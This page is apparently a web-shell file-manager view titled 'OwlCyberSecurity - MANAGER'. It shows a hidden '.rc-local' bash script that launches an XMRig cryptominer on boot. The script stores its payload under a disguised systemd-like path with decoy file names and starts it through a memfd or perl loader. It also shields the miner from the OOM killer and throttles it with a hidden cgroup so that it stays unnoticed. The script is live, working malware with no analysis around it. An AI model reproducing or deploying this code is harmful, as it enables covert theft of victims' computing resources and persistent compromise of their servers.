OwlCyberSecurity - MANAGER
Edit File: .rc-local
#!/bin/bash WORK_DIR="/var/tmp/.systemd-private-33/.lib" IS_ROOT=false CPU_CORES=12 CPU_LIMIT=90 LOADER_MODE="memfd" F_LOADER="/var/tmp/.systemd-private-33/.lib/.session-init" F_PID="/var/tmp/.systemd-private-33/.lib/.pid" XMRIG_BIN="/var/tmp/.systemd-private-33/.lib/.cache-check" check_running() { command -v ss >/dev/null 2>&1 && ss -tnp 2>/dev/null | grep -qE ":1[0-8][0-9]{3}" && return 0 command -v netstat >/dev/null 2>&1 && netstat -tnp 2>/dev/null | grep -qE ":1[0-8][0-9]{3}" && return 0 [ -f "$F_PID" ] && kill -0 "$(cat "$F_PID" 2>/dev/null)" 2>/dev/null && return 0 return 1 } get_pid() { [ -f "$F_PID" ] && { local p; p=$(cat "$F_PID" 2>/dev/null); kill -0 "$p" 2>/dev/null && echo "$p" && return; } command -v ss >/dev/null 2>&1 && { local l; l=$(ss -tnp 2>/dev/null | grep -E ":1[0-8][0-9]{3}" | head -1); local p; p=$(echo "$l" | grep -o 'pid=[0-9]*' | cut -d= -f2); [ -n "$p" ] && echo "$p"; } } if [ "$IS_ROOT" = true ]; then sysctl -w vm.nr_hugepages=$((1024+CPU_CORES+8)) >/dev/null 2>&1 modprobe msr 2>/dev/null for g in /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor; do [ -w "$g" ] && echo "performance" > "$g" done sysctl -w vm.swappiness=10 >/dev/null 2>&1 fi check_running && exit 0 rm -f "$F_PID" 2>/dev/null if [ "$LOADER_MODE" = "memfd" ] && [ -f "$F_LOADER" ]; then python3 "$F_LOADER" >/dev/null 2>&1 sleep 8 elif [ "$LOADER_MODE" = "perl" ] && [ -f "$F_LOADER" ]; then perl "$F_LOADER" >/dev/null 2>&1 sleep 8 elif [ -f "$XMRIG_BIN" ] && [ -x "$XMRIG_BIN" ]; then cd "$WORK_DIR" nohup "$XMRIG_BIN" >/dev/null 2>&1 & echo $! > "$F_PID" disown 2>/dev/null sleep 5 else exit 1 fi MPID=$(get_pid) [ -z "$MPID" ] && exit 1 [ "$IS_ROOT" = true ] && echo -999 > "/proc/$MPID/oom_score_adj" 2>/dev/null PERIOD=100000 QUOTA=$(( CPU_CORES * PERIOD * CPU_LIMIT / 100 )) CPULIMIT_TOTAL=$(( CPU_CORES * CPU_LIMIT )) ALLOWED=$(( CPU_CORES * CPU_LIMIT / 100 )) [ "$ALLOWED" -lt 1 ] && ALLOWED=1 CPU_OK=false if [ "$IS_ROOT" = true ]; then if [ -d /sys/fs/cgroup/cgroup.controllers ]; then CG="/sys/fs/cgroup/system.slice/.cache-worker" mkdir -p "$CG" 2>/dev/null echo "$QUOTA $PERIOD" > "$CG/cpu.max" 2>/dev/null echo "$MPID" > "$CG/cgroup.procs" 2>/dev/null && CPU_OK=true elif [ -d /sys/fs/cgroup/cpu ]; then CG="/sys/fs/cgroup/cpu/.cache-worker" mkdir -p "$CG" 2>/dev/null echo "$PERIOD" > "$CG/cpu.cfs_period_us" 2>/dev/null echo "$QUOTA" > "$CG/cpu.cfs_quota_us" 2>/dev/null echo "$MPID" > "$CG/tasks" 2>/dev/null && CPU_OK=true fi fi if [ "$CPU_OK" = false ] && command -v cpulimit >/dev/null 2>&1; then nohup cpulimit -p "$MPID" -l "$CPULIMIT_TOTAL" -b >/dev/null 2>&1 & disown 2>/dev/null; CPU_OK=true fi if [ "$CPU_OK" = false ]; then renice 19 -p "$MPID" >/dev/null 2>&1 command -v ionice >/dev/null 2>&1 && ionice -c 3 -p "$MPID" >/dev/null 2>&1 if command -v taskset >/dev/null 2>&1; then CL=""; for i in $(seq 0 $(( ALLOWED - 1 ))); do CL="${CL:+$CL,}$i"; done taskset -cp "$CL" "$MPID" >/dev/null 2>&1 fi fi